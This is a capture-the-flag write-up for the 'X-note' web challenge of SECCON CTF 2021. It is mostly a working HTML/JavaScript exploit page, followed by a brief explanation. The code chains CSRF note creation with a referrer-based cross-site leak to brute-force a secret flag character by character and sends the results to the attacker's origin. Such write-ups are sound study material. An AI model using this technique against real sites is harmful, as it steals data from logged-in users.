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@parrot409
Last active Dec 14, 2021
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X-note writeup - SECCON CTF 2021
<html>
<head>
<title>rem rem rem</title>
</head>
<body>
<div id="atk">
</div>
<script>
// const TARGET = "http://localhost:8000"
const TARGET = "http://web:3000"
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789{}"
const exfil = document.location.origin
var flag = "SECCON{"
var w;
function sub(){
let r = ""
r+= `<input id="inp" name="note[toString]" value="1337">`
for(let i=0;i<alphabet.length;i++){
r+= `<input id="inp" name="note[f${i}]" value="${flag+alphabet[i]}">`
}
atk.innerHTML = `<form id="fo" action="${TARGET}/createNote" method="POST">${r}</form>`
inp.value = r
if(w && w.close){w.close()}
blob = new Blob([atk.outerHTML+"<script>fo.submit()<\/script>"], {type : 'text/html'});
w = window.open(URL.createObjectURL(blob))
}
function chk(idx){
w.location=`${TARGET}/?search=${flag+alphabet[idx]}&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=${document.location}%23exfil${idx}" />`
}
if(!document.location.hash.startsWith("#exfil")){
sub()
setTimeout(()=>{
chk(0)
},1000)
} else {
let flagFound = null
let r = null
if(document.referrer.indexOf("filteredNotes") > -1){
flagFound = false
r = parseInt(document.location.hash.slice(6))+1
} else {
flagFound = true
r = alphabet[parseInt(document.location.hash.slice(6))]
}
opener.postMessage({flagFound,r,oh:1})
}
window.onmessage = e=>{
if(e.data.oh){
if(!e.data.flagFound){
chk(e.data.r)
} else {
flag += e.data.r
console.log(flag)
if(flag.indexOf("}") == -1 ){
sub()
setTimeout(()=>{
chk(0)
},1000)
}
}
}
}
setInterval(()=>{
fetch(document.location.origin+"?a="+encodeURIComponent(flag))
},2000)
</script>
</body>
</html>

X-Note - 3 solves

To leak whether the first character of flag is 'A' or not:

  1. first we create the following note for admin ( csrf is possible for 2 minutes ):
{"toString":"A","f1":"SECCON{A","f2":"SECCON{B","SECCON{C",...}
  1. Then we open a window to ${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />
  2. The window will be redirected to ourhost with an error message in referrer.
  3. if there is NOT any "filteredNotes" in referrer ( error did not happen in search box ), then the first character of flag is 'A'.

Using this logic, we can leak the flag!

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